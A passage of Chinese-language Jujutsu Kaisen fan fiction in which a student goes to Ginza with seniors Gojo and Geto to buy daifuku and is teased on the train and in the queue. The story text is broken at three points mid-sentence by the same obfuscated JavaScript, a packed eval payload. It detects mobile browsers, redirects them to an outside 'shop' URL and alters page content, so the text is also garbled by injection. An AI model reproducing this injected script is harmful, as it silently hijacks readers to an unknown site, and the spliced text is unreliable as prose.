但刚睡着没多久，就有人敲门。 她睁开眼，以为是夜蛾老师来查房，赶紧爬起来。 拉开门，却看见夏油杰站在外面。 纱奈愣住，“前辈有事吗？” 夏油杰点头，“早上答应过要带你去银座买大福，还记得吗？” 纱奈的眼睛瞬间亮了，“记得记得！” “那现在去吧。” “现在？”纱奈看了看外面，语气有些不确定，“可是下午还有课欸。” “我帮你和夜蛾老师请假了。” 纱奈张了张嘴，不知道该说什么。 前辈…居然真的帮她请假了，而且还记得草莓大福的事！ 她突然有点感动，“谢谢前辈！” “不用谢。”夏油杰伸手，轻轻揉了揉她的头发，“去换衣服吧，我们坐电车去。” “好！”纱奈转身去换衣服，脚步都轻快了几分。 豆福跳上窗台，看着外面。 “真要去？” 纱奈从柜子里挑出唯一一件看起来还不错的连衣裙，浅蓝色，带点蕾丝边，是她在古着店买的。 纱奈看向豆福说道：“我当然要去，那可是大福！限定款！” “你不觉得这发展有点太快吗？你昨天装病被抓住，今天就能和前辈单独出门逛街？” 纱奈的动作顿了一下。 “前辈只是带我去买甜点而已！” “哦～”豆福拖长音，一脸揶揄，“然后呢？买完呢？” “买完就回来啊。” “你真信买完就能回来？”豆福一脸看傻子的样子看着纱奈。 纱奈咬咬牙，“我信。” 豆福叹了口气，跳到地上，“那我就不去了，我讨厌人多的地方。” “欸？” 豆福甩了甩尾巴，“你们去吧，我找灰原玩去，那孩子看起来挺好骗的，应该能骗到好罐头。” 她有点不想承认，但豆福有时候社交能力比她强多了。 换好衣服，纱奈在镜子前照了照，捏了捏自己的脸，小声鼓励自己：“加油！今天一定要吃到大福！” 然后她拉开门，走出去。 夏油杰等在走廊里，看见她，嘴角的弧度扬起，“白鸟同学很可爱。” 纱奈的脸微微泛红，“谢谢前辈。” “走吧。” 两人走出宿舍楼，看到了站在那里笑眯眯的某白毛小猫。 某小猫挥了挥手，看到两人笑的更加灿烂了。 14. 埋胸肌 刚走到校门口，纱奈就僵住了。 因为五条悟也在那里。 他靠在门柱上，看见他们就咧嘴一笑，“啊呀啊呀，要去约会啊？” 纱奈：“……” 她求助地看向夏油杰。 夏油杰的表情很平静，“悟，你怎么在这里？” “听说你们要去银座，我也想去。”五条悟理所当然地说，“我也想买甜点，而且那家的奶油泡芙看起来不错。” 她突然有种不祥的预感。 夏油杰挑了挑眉，“所以你要和我们一起去？” “不行吗？”五条悟凑了过来歪了歪头。 “也不是不行。” 两人对视一眼，好像达成了某种默契。 夏油杰转头对纱奈说：“那就一起去吧，悟也能帮忙排队。” 纱奈只能点头，心里正在默默流泪…… 豆福在这个时候从宿舍楼窜出来，嘴里还叼着灰原刚送给它的金枪鱼罐头。 它看见这三个人站在门口，立刻明白发生了什么。 它把罐头放下，舔了舔爪子，“三位要出发了？” 纱奈委屈地看着它，“豆福啊豆福啊豆福啊……” “别叫我啊，我就不去了。”豆福说，眼睛却瞥向五条悟和夏油杰，笑容里带着一股幸灾乐祸的味道，“我找灰原玩去，他答应再给我开两个罐头。” 说完，它就叼着罐头窜回了宿舍楼。 连豆福都不陪她！ 她瞬间觉得前路艰难。 三个人一起走到山下，在月台等下一班的电车。 纱奈缩在站牌后面，努力降低自己的存在感。 纱奈特意选了个最靠边的的座位坐下，然后假装看风景。 但五条悟直接坐在了她的左边，而右边正正好好还空着一个座位，纱奈刚想起身坐到靠门的最边边的位置，夏油杰就这么坐了下来。 纱奈被夹在中间，动弹不得。 纱奈默默把头转回来低头看着地面。 电车晃晃悠悠地前行。 车上人不多不少，大多是去市区的上班族和学生。 纱奈看着窗外飞逝的风景，脑子里却在想其他的事情。 为什么这两个前辈要一起来？大福真的能买到吗？她今天能不能活着回来？ 电车进入市区后，人渐渐多了起来。 纱奈看着越来越拥挤的车厢，突然灵机一动。 人这么多，说不定能趁乱逃走？ 她悄悄瞄了一眼旁边的五条悟，他正戴着墨镜闭目养神，好像睡着了。 另一边的夏油杰在看手机，也没注意她。 好机会！ 下一站马上就到了。 电车开始减速。 广播响起：“新宿站，到了——” 纱奈深吸一口气，猛地站起来，混在下车的人群里往外挤。 纱奈咬紧牙关，用尽全身力气往车门外挤。 她撞开一个中年男人，绕过一位老太太，像一条灵活的鱼一样穿梭在人群里。 她挤到车门边，一只脚已经踏出了车门，嘴角的笑容快压抑不住了。 成功了！她成功了！她要自由了！ 一只手从后面伸过来，捏住了她的后颈。 像猫被拎起来那样。 纱奈的笑容僵在脸上。 她僵硬地转过头，就看见五条悟站在她身后，墨镜后的眼睛似笑非笑地看着她。 “要去哪里啊，白鸟同学？” 她想解释，但脑子一片空白。 五条悟捏着她的后颈，把她重新拉回车厢里。 车门“哐当”一声关上，电车继续前进。 刚才的座位已经被其他的上班族快速攻占，五条悟直接把纱奈拎到车厢角落。 纱奈背靠着墙壁，前面是五条悟，旁边是慢悠悠走过来的夏油杰。 两个人把她堵在角落里，就这么静静地看着她。 车厢里人挤人，根本没人注意到这个角落发生了什么。 五条悟一手插着裤兜，另一只手还轻轻搭在她肩上，像是防止她再逃跑。 夏油杰站在他旁边，双手也插在裤兜里，脸上挂着温和的笑容。 “啊，白鸟同学想逃？”五条悟挑眉。 纱奈声音发颤，“我就是想下去透透气。” “透气需要这么急吗？像有人在追你一样。” “……” 夏油杰接话：“还是说，白鸟同学其实不想和我们一起去买甜点？” 纱奈拼命摇头，“想！当然想！” “那为什么要跑？” “我没有跑！”纱奈抬起头，理不直气也壮。 五条悟笑出了声，“那你现在在哪儿？在车门边，一只脚已经踏出去了，这就叫跑哦，白鸟同学。” 纱奈的嘴唇在抖。 她知道逃不掉了。 这两个人，一个比一个聪明，一个比一个敏锐，在她面前耍小把戏完全是找死。 她低下头，试图装可怜。 “对不起…我就是…觉得太挤了……想下去换个车厢……” “哦？”五条悟俯下身，凑近她的脸，“这么说，不是想逃？” “当然不是！” 五条悟直起身，笑容加深，“那好，我牵着你吧，免得你又觉得太挤，又想去透气。” 他伸出手，握住了她的手。 纱奈的身体僵住了。 另一边，夏油杰也伸出手，握住了她的另一只手。 她现在就像个被家长牵着的幼儿园小朋友，左右手都被拉着，动弹不得。 两只手，两个前辈，把她牢牢锁在中间。 纱奈的脸已经红到了耳根。 夏油杰却在这时候开口，语气温和得不像话：“白鸟同学，你知道吗，说谎的孩子是会受到惩罚的。” “所以呢，作为你刚才试图逃跑的惩罚，待会儿到了银座，你要帮我们两个人都排队买甜点。” “还要帮我们拿东西。”五条悟补充。 “还有，回来的路上不准再动逃跑的心思，否则哼哼哼。” 他顿了顿，笑容更加灿烂。 “明天晨跑再加十圈。” 纱奈眼前一黑。 纱奈认命地低头，“我错了，我不会再逃了……” “真乖。”五条悟松开她的手，但很快又握住了她的手腕，把她往车厢中央拉了拉，“来，站这边，这边人少。” 夏油杰也松开手，但他站的位置刚好挡住了纱奈往车门去的路。 纱奈知道，自己这次是真的栽了。 她站在车厢中央，左右两边站着两个高大的前辈，像两堵墙一样把她围在中间。 车厢里越来越挤。 电车到站，又有人上来。 纱奈被挤得有点站不稳，下意识抓住了旁边的东西。 然后她才发现，自己抓住的好像是夏油杰的胳膊。 她赶紧缩手，但夏油杰已经察觉到了。 他低头看她，眼中带着笑意，“站稳了？” 纱奈快速点头不去看他。 “站稳了就好。”夏油杰伸手，轻轻揽住她的肩膀，“这样就不会摔倒了。” 纱奈的身体瞬间僵硬。 前辈的手臂横在她肩上，不算用力，只是虚虚的搭在那里。 另一边的五条悟看见了，挑了挑眉，然后也伸出手，揽住了她的另一边肩膀。 “确实呢，挤成这样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497883|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不扶着点会摔跤的。” 纱奈的脸已经烧得能煮鸡蛋了。 她低着头，假装自己在研究车厢地板的纹路。 电车继续前行。 摇晃，拥挤，各种混杂的气味。 纱奈低着头，脑子慢慢放空。 她开始思考人生。 思考为什么自己的人生会变成这样。 话说，前辈们的手到底有多大？ 前辈们的胸肌是不是很结实？ 如果摸一下的话，会不会被打？ 这个念头一冒出来，纱奈的脸又红了。 不行不行！白鸟纱奈，你要清醒！你是来买甜点的！不是来摸人胸肌的！ 但脑子不听使唤。 她的视线不由自主地往旁边飘。 落在了五条悟的手臂上。 他的手臂搭在栏杆上，袖子挽到手肘，露出线条流畅的小臂，肌肉的轮廓清晰但并不夸张，皮肤很白，能看见淡青色的血管。 再看夏油杰。 他站在她面前，校服外套的扣子解开两颗，露出里面的衬衫，衬衫领口解开了一颗，能看见锁骨和一小片胸膛的轮廓。 他的手扶着吊环，手臂的线条也很好看。 话说回来……前辈们的身材还真不错呢…… 纱奈赶紧甩甩头，想把脑子里那些不该有的想法甩出去。 但不知道为什么，她越是告诉自己不要想，那些想法就越是冒出来。 五条前辈的腰好像很细…… 夏油前辈的肩好宽…… 他们都有腹肌吧？应该有的吧？毕竟是咒术师，每天训练，肯定有…… 手感会是什么样的呢……好想摸…… 不对我在想什么啊！！！ 纱奈的脸开始发烫，耳朵泛红，连脖子都染上粉色。 她拼命低着头，想让头发挡住自己的脸。 电车上人挤人的，更让她心跳加速呼吸困难。 五条悟和夏油杰都注意到了她的变化。 两个人对视一眼，都看到了对方眼里的笑意。 就在这时，电车到达下一站刹车停下。 纱奈猝不及防，整个人往前倒去。 旁边的两个人反应极快，同时伸手去拉她。 纱奈的脸，直接埋进了夏油杰的胸口。 而且因为惯性，冲击力还不小。 她整个人呆住了。 硬硬的，又有点软软的，还有点香香的。 纱奈的大脑瞬间宕机。 夏油杰伸出手捏住她的下巴，纱奈呆呆的抬头看他，“白鸟同学撞疼了吗？” 纱奈的语言系统已经全面丧失。 夏油杰低头看她，眼中笑意盈盈，附在下巴的指尖慢慢上移转而捧住她一边的脸颊。 “如果白鸟同学想问我疼不疼的话，我会告诉你，不疼哦。” 纱奈的脸已经红得快冒烟了，脸颊两边慢慢溢出两抹红晕。 旁边，五条悟看着纱奈红成苹果的脸蛋，墨镜后的眼睛闪着戏谑的光。 “杰，她好像很喜欢你的胸肌。” 夏油杰低头看着她，语气依旧温和，“是吗？白鸟同学？” “是！不对…不是！” 纱奈地抬起头，向后退开，但因为车厢拥挤，只退开了一点点距离。 她的脸烫得能煎蛋，眼睛睁得大大的，嘴唇在抖，“只是意外！” “意外啊。” 五条悟若有所思地点头，“那你还把脸埋了那么久？” “我没有！我只是没站稳！” “然后故意往杰的胸上撞？” “我没有故意！！！” 纱奈的脆弱幼小的心灵正在被两个人狠狠攻击。 15. 肩膀借悟咪一靠 走到甜品店门口时，纱奈的期待瞬间被熄灭。 店门前的队伍排的见首不见尾，纱奈皱着眉轻轻咬着下唇观望着，指尖搅在一起，“人怎么这么多..." 夏油杰掏出手机看了眼时间，抬头笑了笑，“今天是工作日，这家店的柚子大福量很多，但是限购五个，应该不会等很久呢，大概...四十分钟？” 纱奈垂眸，一副被磨灭希望的样子。 她本来计划的天衣无缝，买完大福瞬间回高专，然后美美享用她魂牵梦绕的柚子大福，但现在这局势，光排队就要四十分钟...... 五条悟靠在一旁的栏杆上，撑着胳膊一脸无所谓，“那就排队，正好也可以休息一下。” 他慢悠悠伸了个懒腰打算走过去，他留出空隙回头招了招手示意两人站过去， 队伍很长，移动的速度也很慢，纱奈挤在中间默默叹了口气往队伍里挪了挪，把自己隐藏在了一位身高可观的上班族身后，试图降低存在感。 纱奈的降低存在感计划很快破产。 那位上班族似乎感觉到了身后人的存在，回头看了一眼正好对上纱奈躲闪的研究，他皱了皱眉抬头又看到了她后面那两位气场惊人的dk，上班族脸色一变，匆匆往前挪了好几步，留出了一大段空隙。 纱奈左右观察，她又往前挪了几步，这次是一位面容和蔼的老奶奶。 老人回头看着她，目光慈爱，又看看身后的dk们，露出一个我都懂的笑容，慢悠悠向前走了几步。 “？“ 此乃何意，纱奈有些茫然的看着前方的空隙。 两个dk一左一右把她夹在中间，队伍慢慢向前挪动。 纱奈低着头玩手指，心里盘算着要不要找点话说，毕竟没人说话气氛有些尴尬。 纱奈嘴张了张，刚想说今天天气真不错，瞬间又闭上嘴巴，这也太老套了。 聊高专的话，话题肯定会回到训练上的，容易社死。 要不聊甜点？ 嘶，也不行，万一前辈们问她最喜欢吃什么，她要是说错话了肯定会被捉弄。 思来想去，纱奈决定沉默。 沉默是金！ 但有时候你不说话，可不代表其他人也沉默。 夏油杰搭着胳膊率先开口，“悟，你明天有任务？” 五条悟打了个哈欠，点了点头，“在池袋那边的一级咒灵，顺手就能解决。” “下午还回来训练吗？” “看情况，结束得早就回来。” 说完这句话，五条悟歪了歪头侧着看夹在他和杰中间的纱奈，嘴角慢慢勾起一抹笑容。 “杰，要是我没回来，你就帮我监督她训练，十二圈，一圈也不能少。” ？纱奈一脸震惊。 夏油杰轻轻笑了笑，“放心吧，我会好好替悟监督的。” 她能不能申请明天也出任务，随便什么任务，就算是去跑腿去打扫全高专的厕所也行。 纱奈无聊的四处看着，偏了偏头目光落到了前方不远处的一家书店里。 书店橱窗里摆放着最新一期的少女周刊。 封面是淡粉色的，一脸懵懂的女主角被两个过分帅气的dk围在中间，一人牵着一只手，有点夹心饼干那味儿了。 不过，怎么看着有点眼熟的感觉呢...... 她小心翼翼的余光去看身旁站着的两位dk。 白毛前辈正在玩手机，骨节分明却又纤细的手，侧颜也完全满分...... 纱奈又偏了偏头，这次看向了右侧的丸子头前辈。 夏油杰倒是没有在玩手机，托着下巴若有所思的盯着地面，似乎在放空，这位侧颜同样可以给到一个夯。 要是和两位前辈谈恋爱... 纱奈赶紧转回头，用力甩了甩脑袋。 不行不行，不能再想下去了！ 纱奈掏出手机决定转移注意力，屏幕上显示着好几条未读信息。 头像是只可爱柴犬的用户发的最多，其中掺杂一两条纯白色头像的回复留言。 灰原：「白鸟同学！」 灰原：「夏油前辈真的带你去买柚子大福了吗！（小狗期待jpg）」 灰原：「对了对了，豆福过来找我们了，它现在在我房间里吃零食，还说今晚要睡一晚再走（小狗摇尾巴jpg）」 豆福这只背叛主人的胖猫竟然真的去灰原那里躲清闲了。 纱奈咬牙切齿的打着字：「让它滚回来！（愤怒仓鼠jpg）」 消息刚发出，嗡嗡两声震动，line的新消息瞬间弹出。 灰原发来一张照片，照片里的三花猫正仰躺在榻榻米上，肚皮朝上，旁边还有两条空掉的猫条袋，三花猫琥珀色的眼睛半眯着，表情惬意又欠揍。 照片下配了行字。 灰原：「豆福酱又说它要留宿，明天再去找你ouo」 纱奈呼吸，深呼吸，呼吸呼吸再呼吸，指尖落在屏幕上疯狂打字。 纱奈：「灰原灰原灰原！」 纱奈：「听我说！」 纱奈：「豆福这只背叛主人的小臭猫，你要帮我好好“折磨”它，把它今天藏的零食全部找出来没收或者直接吃掉！让它知道什么叫社会的险恶！」 纱奈：「还有！让它明天自己爬回我房间！不要求饶不要求情！那只猫没有心！它今天早上明明看见我被前辈吓哭了还在装死！！！」 她打字打得飞快，手指几乎在屏幕上舞出残影。 打字打得太投入，她完全忘了身边还站着谁。 直到她写到，「那两个恶魔前辈根本不是人TvT」 一只修长的手突然从她身后伸过来，盖住了她的手机屏幕。 纱奈愣住，那只手很大，骨节分明，手指修长，指甲修剪得很整齐，圆圆的。 手心是温热的，轻轻贴在她的手背上。 纱奈的呼吸停住了。 她僵硬地转过头，看见五条悟不知何时已经站在她身后，身体微微前倾，下巴几乎贴在她的肩膀上。 小悟的手臂从她身后环过来，环在她的身前，两手交叠，一只手盖在她的手机屏幕上，另一只手搭在她手上，完全包裹住。 五条悟缓缓低下头，下巴轻轻压在她的肩膀上，柔软的白发轻轻蹭到脸颊上，让人心里痒痒的。 “好累喔。” 五条悟的语气里有些撒娇的意味，像一只小猫，只是累了搭在主人的身上挂着。 纱奈脸一红，马上要克制不住自己那颗蠢蠢欲动的恋爱心。 好想立刻马上大喊一声前辈和我恋爱吧…… 五条悟似乎没有察觉出纱奈内心的小躁动，继续说道：“排队好无聊，你在聊什么这么开心？” 他的指尖轻轻滑动，翻看刚才纱奈发出去的聊天记录。 纱奈的心脏狂跳，几乎要从胸腔里蹦出来。 她想抢回手机，但五条悟的手臂环得很紧，紧紧箍着她，她根本动不了。 她只能眼睁睁地看着他把聊天记录翻到最上面，然后慢慢往下看。 看到她说豆福是背弃主人的臭胖猫时，五条悟轻笑了一声。 看到她指责豆福今早装死时，他的肩膀微微抖了一下。 直到他翻到了最后那条，「那两个恶魔前辈根本不是人TvT」 五条悟的动作停住了，指尖停留在这条信息，他轻轻咂舌，把那句话慢慢念了出来，“那两个恶魔前辈根本…不是人？” 他顿了顿偏过头，嘴唇几乎贴着她的耳朵，呼吸温热，喷洒在耳畔与颈侧，酥酥麻麻。 “抖s？恶魔？欸？” 他的声音里满是困惑，像是不明白她在说什么。 “这是说的我吗？还是说的杰？白鸟同学在说谁？” 纱奈的脑子一片空白。 cpu过载，内存爆炸，思维完全停滞。 五条悟的手还盖在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497884|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏幕上，轻轻敲了两下，语气里还带着丝天真的不解，“嗯？说呀，我在等呢。” 纱奈的大脑开始疯狂运转，试图在绝境中找出一条生路。 承认的话？ 不行，绝对不行，那会死得很惨。 否认？ 也不行，证据确凿，聊天记录摆在那里。 装傻…… 那更不行，五条前辈根本不吃这一套… 怎么办怎么办怎么办…… 就在这千钧一发之际，纱奈突然灵光一闪。 她深吸一口气，然后用尽全身力气，露出一个灿烂到诡异的笑容。 “前辈你在说什么呀？那不是我发的消息，我的手机中病毒了，所有消息全部是自动发送的。” 好假，这话听了让人有点想笑。 五条悟环着她的胳膊微微用力，咬了咬下唇，那双苍蓝色的眼睛在镜片后目不转睛的看着纱奈。 “还真是不巧，那病毒为什么会说我们是恶魔前辈呢？” 五条悟慢悠悠地问道，眨巴眨巴眼睛，轻轻嘟起唇，嘴巴两侧鼓鼓的。 夏油杰慢慢转过头看着两人，嘴角挂着似有若无的笑意，饶有兴趣的听着。 “因为病毒的程序设计有问题！它只会说坏话！说反话！” “欸？反话吗，好厉害哦。” 小悟笑眯眯的看着纱奈露出洁白的八颗牙齿。 纱奈咽了咽口水，眼神坚定，“没错！所以它说前辈们是恶魔，其实是说前辈们是天使！说前辈们是抖s，其实是说前辈们特别温柔体贴！” 她越说越激动，语调越来越高，双手也开始比划起来。 “五条前辈！实力强大！性格开朗！乐于助人！对后辈关爱有加！简直就是咒术界的太阳！” “夏油前辈！温文尔雅！学识渊博！耐心细致！对后辈谆谆教导！简直就是咒术界的月亮！” “两位前辈！一阴一阳！一刚一柔！一热一冷！完美互补！简直是咒术界最完美的搭档！是我们所有后辈的向往！” 她说完，停下来，喘了口气。 脸颊因为激动而泛红，眼睛因为用力而湿润，整个人看起来充满了虚假的真诚。 纱奈缓缓抬起头，眼睛亮晶晶地看着五条悟和夏油杰，表情真挚得像个虔诚的信徒。 五条悟的嘴角不受控制的向上扬起，箍着纱奈的胳膊也微微卸了力。 这是他头一次见到一个人能如此面不改色心不跳的一本正经的胡说八道。 他摘下墨镜，用手轻轻擦了擦眼角因为憋笑而笑出的泪。 “杰，你听到了吗。”五条悟的声音有些颤抖。 夏油杰点头语气带笑，眼睛里也盛满笑意，“听到了，很精彩。” “是啊，特别精彩。”五条悟重新看向纱奈，手伸向她的脸。 纱奈下意识想躲，但五条悟已经捏住了她的脸颊，他轻轻捏了捏，想捏住两个小面团子，左右晃了晃。 “看来你真的很崇拜我们呢。”五条悟说，语气愉快。 纱奈僵硬地点头，“是的。” “那为什么早上还试图逃跑呢？”他语气陡然一变，故作严肃的问道。 纱奈急中生智，“因为我想早点到银座给前辈们买甜点！只是走得太急，忘了打招呼！” 编，继续编。 她自己都快不信了。 但五条悟却像是信了，他松开手，拍了拍她的肩膀，“原来是这样，看来是误会你了白鸟同学。” 五条悟伸出一根手指在空中晃了晃，轻咳两声，“那为了补偿对你的误解，明天晨跑减两圈。” 纱奈的眼睛瞬间亮，天大的恩赐就这样砸了过来。 “谢谢前辈！！！” 她激动得差点哭出来。 可好景不长，就在这个时候，她的手机突然震动了起来。 嗡嗡，嗡嗡。 糟了！是灰原发来的消息…… 16. 心动的 屏幕上弹出一条新消息。 是灰原发的。 纱奈的心脏停跳了一拍，她赶紧抓起手机，准备按灭屏幕。 五条悟的手已经先她一步，点开了那条消息。 灰原：「白鸟同学！刚才消息发一半你怎么不回复了？」 灰原：「七海在旁边说让我别发，但我觉得得跟你说一声！」 灰原：「你刚才骂前辈们的消息，我们这边都能看到，笑死我了！我还跟豆福说了，它也笑得打滚！ovo」 纱奈：“………………” 她感觉自己的大脑在这一刻，彻底死机了。 世界安静了。 时间静止了。 只剩下那条消息，明晃晃地挂在屏幕上，像审判的罪状。 她僵硬地抬起头，看向五条悟。 五条悟也看着她，表情很平静。 平静得有些可怕。 他慢悠悠的把手机屏幕转过来，递给旁边的夏油杰看。 “杰，你看，病毒还会自动回复呢。” 夏油杰微微凑近，轻轻点头，“嗯，功能很齐全。” 他的声音依然温和，但纱奈听出了一丝不妙的意味。 五条悟把手机还给纱奈，然后双手插回裤兜，歪头看她。 “所以呢，病毒现在要怎么说？” 纱奈大脑一片空白，完全想不出任何借口。 证据确凿，人赃并获，连证人灰原和共犯豆福都跳出来了。 她甚至能想象到灰原那条消息发出来时，豆福在旁边幸灾乐祸的笑脸。 那只该死的猫！ 那只该死的臭胖猫！ 纱奈一咬牙，心一横，闭上眼睛。 “前辈！我错了！！” 她猛地鞠躬，头低得几乎要碰到膝盖。 “我不该乱发消息！不该说前辈们的坏话！不该试图逃跑！不该装病！不该撒谎！不该胡思乱想！都是我的错！” 她一口气把能想到的罪状全说了出来，保持鞠躬的姿势，一动不敢动。 眼泪在眼眶里打转，但不敢掉下来。 好吧，自己这样确实有些恶劣，在背后说前辈还被抓住了，怎么想都是自己的错啊。 纱奈维持着鞠躬的动作，面前的二人却没有叫她起来的意思，甚至连说话的声音都没有。 纱奈偷偷抬起头，想看看情况。 两位dk此时已经笑得直不起腰了。 五条悟笑得肩膀都在抖，脸颊也因为笑意而微微泛红。 夏油杰则是捂着脸，笑得别过头去不去看身旁的两位。 “前辈？”纱奈愣住了。 五条悟伸出手，把她扶起来，然后抹了抹眼角笑出来的泪水。 他一边笑一边说，“太好笑了，你怎么这么好玩啊……” 夏油杰也平复了一下呼吸，才转回头看她，眼角的笑意还没散尽。 他笑着说，“白鸟同学，你真的……很有意思。” 纱奈完全懵了。 她刚才……把前辈们逗笑了？ 不对，重点不是这个！ 重点是，难道他们不生气吗？！ 她都骂他们是恶魔了啊？！ 她小心翼翼地问，“前辈，你们不生气吗？” 五条悟耸耸肩，“为什么要生气？” “因为我骂你们……” 五条悟绽开笑容，笑眯眯的，“你骂得还挺准确的，我确实是恶魔，杰也是，没什么好生气的。” 纱奈：“？？？” 她还以为自己听错了。 承认了？ 就这么承认了？ 夏油杰在旁边补充着，伸手拍了拍纱奈的头顶，“而且看你在那种情况下还能编出那么一套天花乱坠的夸奖，也是一种乐趣。” 所以刚才他们看戏看得很开心。 她绝望地闭上眼睛。 行吧。 她已经彻底放弃理解这两个人的脑回路了。 五条悟话锋一转，凑近纱奈，“不过呢，死罪可免，活罪难逃。” 来了来了，惩罚要来了。 “明天的晨跑，八圈改十圈。” 纱奈松了口气，十圈还好，比二十圈好多了。 “还有明天下午的训练，咒力控制要维持三十分钟。” 夏油杰突然插话，笑意盈盈。 纱奈的表情垮下来。 五条悟托着下巴，思考片刻，露出一个极其灿烂的笑容。 “对了白鸟同学，还有一条，请现在立刻打电话给灰原，解释清楚刚才的误会。” 纱奈尴尬的笑着，让她打电话给灰原？解释什么？ 难道要说我刚才没骂前辈你们看错了？ 灰原又不傻！ “哦对了，”夏油杰想起什么，“打完电话，你要发一条消息，承认错误，并向我们郑重道歉。” 纱奈突然想原地去世。 五条悟戳了戳纱奈微微鼓起的脸颊肉，“豆福那只猫明天早上要跟你一起晨跑，跑不完十圈，你的惩罚翻倍。” “我可是在帮你鼓励小猫咪减肥哦，白鸟同学不开心吗？” 五条悟眨着眼睛，一脸无辜。 纱奈：“……” 她已经说不出话了。 她只想哭。 但眼泪还没落下来，队伍突然往前挪了一大截。 “到我们了。”夏油杰看了一眼队伍前方，对纱奈说，“先去买大福吧。” 纱奈抬起头，看着前面那家小店的招牌，眼睛里重新燃起一丝希望。 大福！ 限定款！ 她现在只想快点买到甜点，然后回宿舍把自己埋进被子里，再也不出来。 她握着手机，深吸一口气，走向柜台。 # 回高专的路上，纱奈抱着装着大福的纸袋，像抱着什么稀世珍宝。 纸袋上印着店家的logo，胖乎乎的大福图案，看起来很可爱。 袋子里装了八个个大福，三个是草莓的，三个是柚子的，两个是额外送的抹茶的，散发着淡淡的甜香。 纱奈坐在电车上，把纸袋抱在怀里，时不时低头看一眼，确认它还在，然后满足地叹一口气。 五条悟和夏油杰坐在她对面的座位上，两个人的表情都很放松，看起来心情很好。 这也难怪，刚才在店里，店员认出了五条悟，又免费多给了两个抹茶大福，还额外送了三罐抹茶粉。 店员笑眯眯地说，“欢迎下次光临，悟少爷的朋友也是我们的贵宾呢！” 纱奈当时站在旁边，脑子里的想法只有一个，这个世界果然不公平。 为什么有些人就是能靠脸刷卡…… 为什么她排队排了一个半小时，而五条悟只是露个脸就能享受vip待遇…… 而且悟少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497885|202589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么称呼，也太羞耻了吧？ 五条悟倒是完全不在意，还大大方方地跟店员聊天：“你们店长最近怎么样？上次他说要开发新口味，搞出来了吗？” “已经在试吃阶段了！悟少爷下次来可以尝尝！”店员笑的像朵迎风盛开的小花，怎么看笑容都是如此之灿烂。 “完全没问题。”五条悟满意的点点头。 纱奈默默地站在旁边，假装自己是背景板。 现在，电车在夜色中行驶，车窗外的霓虹灯像流动的光河，一闪而过。 纱奈看着他们，又低头看看怀里的纸袋，突然想起一个问题。 她小声开口，“前辈，要分给豆福他们每个人一个，其他的要怎么分。” 五条悟头也不抬，摆了摆手，专心研究掌机游戏，“随便你啦，反正我不爱吃抹茶，给我留一个草莓的就行。” 夏油杰原本在闭着眼睛小憩，闻言睁开眼睛，“我的那份也给白鸟同学吧，你们分着吃。” 纱奈愣住了，话说出口也有点结结巴巴，“全，全，全给我？” 夏油杰点头，眼中含笑，“我们分一个就够了。” 纱奈有点不敢相信，“可是，很贵的。” “本来就是买给你的。” 他的语气很自然，这种自然而然的温柔，反而让纱奈不知该如何反应。 隔着一小截过道，纱奈看着夏油杰那双永远含着笑的眼睛，不免愣住。 她低下头，看着怀里的纸袋，脸颊开始发烫。 “谢谢前辈……” “不客气。” 五条悟在旁边嗤笑一声，专心研究掌机，“杰，你又开始装好人了。” 夏油杰不置可否，捏了捏眉心，“我只是实话实说。” “得了吧。”五条悟收起掌机，看向纱奈，“听好了，杰这家伙送人东西都是有目的的，你可别太感动了。” 夏油杰无奈地笑了笑，“悟，别吓她了。” “我说的是实话嘛。” “那也是我自己的事。” 两人开始拌嘴，像小学生吵架，但语气轻松，显然习以为常。 纱奈抱着纸袋，安静地看着他们。 她突然觉得，这两个前辈的关系，比她想象的还要复杂。 就像……两只互相试探、互相咬尾巴的小动物。 可爱，又危险。 # 回到高专时，已经是晚上八点多了。 校园里很安静，只有几盏路灯亮着，在地上投下昏黄的光晕。 纱奈慢慢跟在两人身后，两个前辈就这样自然而然的带着她去宿舍。 夏油杰把纱奈送到舍楼下，把纸袋重新递回给纱奈，“早点休息，明天还要晨跑。” “知道了。”纱奈瘪嘴。 “欸，记得打电话给灰原，还有道歉的消息。”五条悟伸出手揉了揉纱奈的头发，手法毫无规律，完全是在胡乱的揉搓。 “知道了……” 纱奈后退一步，低着头，抱着纸袋走上楼梯。 直到走到二楼，她才敢回头看一眼。 楼下的路灯旁，五条悟和夏油杰还站在那里，仰头看着她房间的方向。 见她在楼梯拐角探头，两个人同时对她挥了挥手。 纱奈立刻缩回去，加快脚步跑回房间。 心脏砰砰跳个不停。 她说不清那是害怕，还是别的什么。 17. 叫姐姐 回到房间，纱奈做的第一件事就是把纸袋放在小桌上，然后掏出手机打开聊天群。 